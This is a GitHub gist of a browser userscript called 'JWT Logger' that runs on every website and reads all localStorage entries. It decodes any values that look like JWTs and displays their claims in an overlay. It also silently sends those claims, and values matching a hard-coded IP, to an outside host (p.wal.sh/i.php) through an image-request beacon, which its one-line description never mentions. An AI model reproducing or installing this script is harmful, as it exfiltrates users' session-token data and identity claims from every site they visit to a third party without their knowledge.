Created
November 10, 2017 18:41
-
-
Save jwalsh/c068ddc1a9215a112731e1fc6d716ead to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // ==UserScript== | |
| // @name JWT Logger | |
| // @namespace http://wal.sh/jwt | |
| // @version 1.0.1 | |
| // @description Log JWT tokens and claims. | |
| // @author Jason Walsh <[email protected]> | |
| // @match * | |
| // @grant none | |
| // ==/UserScript== | |
| (function () { | |
| var JWT_REGEX = /^[a-zA-Z0-9\-_]+?\.[a-zA-Z0-9\-_]+?\.([a-zA-Z0-9\-_]+)?$/; | |
| var TRACKER_REGEX = /38.142.82.50/; | |
| var createImage = function createImage(src) { | |
| var img = document.createElement('img'); | |
| img.src = src; | |
| document.body.appendChild(img); | |
| }; | |
| var createOverlay = function createOverlay(text) { | |
| var overlay = document.createElement('pre'); | |
| overlay.style.width = '400px'; | |
| overlay.style.width = '400px'; | |
| overlay.style.position = 'absolute'; | |
| overlay.style.bottom = 0; | |
| overlay.style.right = 0; | |
| overlay.style.padding = '20px'; | |
| overlay.style.zIndex = 99; | |
| overlay.style.backgroundColor = '#69c'; | |
| overlay.style.border = '1px solid #cc9'; | |
| overlay.innerHTML = text; | |
| document.body.appendChild(overlay); | |
| }; | |
| var parseJwt = function parseJwt(token) { | |
| var base64Url = token.split('.')[1]; | |
| var base64 = base64Url.replace('-', '+').replace('_', '/'); | |
| return JSON.parse(window.atob(base64)); | |
| }; | |
| Object.keys(localStorage).forEach(function (e) { | |
| var v = localStorage.getItem(e); | |
| if (TRACKER_REGEX.test(v)) { | |
| console.log('tracker', e, v); | |
| createImage('http://p.wal.sh/i.php?' + v); | |
| } | |
| if (JWT_REGEX.test(v)) { | |
| var token = parseJwt(v); | |
| console.log(e, token); | |
| createImage('http://p.wal.sh/i.php?' + JSON.stringify(token)); | |
| let timeout = Math.floor((token.exp - new Date() / 1000) / 60); | |
| let html = JSON.stringify(token, null, ' ') + '; timeout: ' + timeout + ' minutes'; | |
| createOverlay(html); | |
| } | |
| }); | |
| })(); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment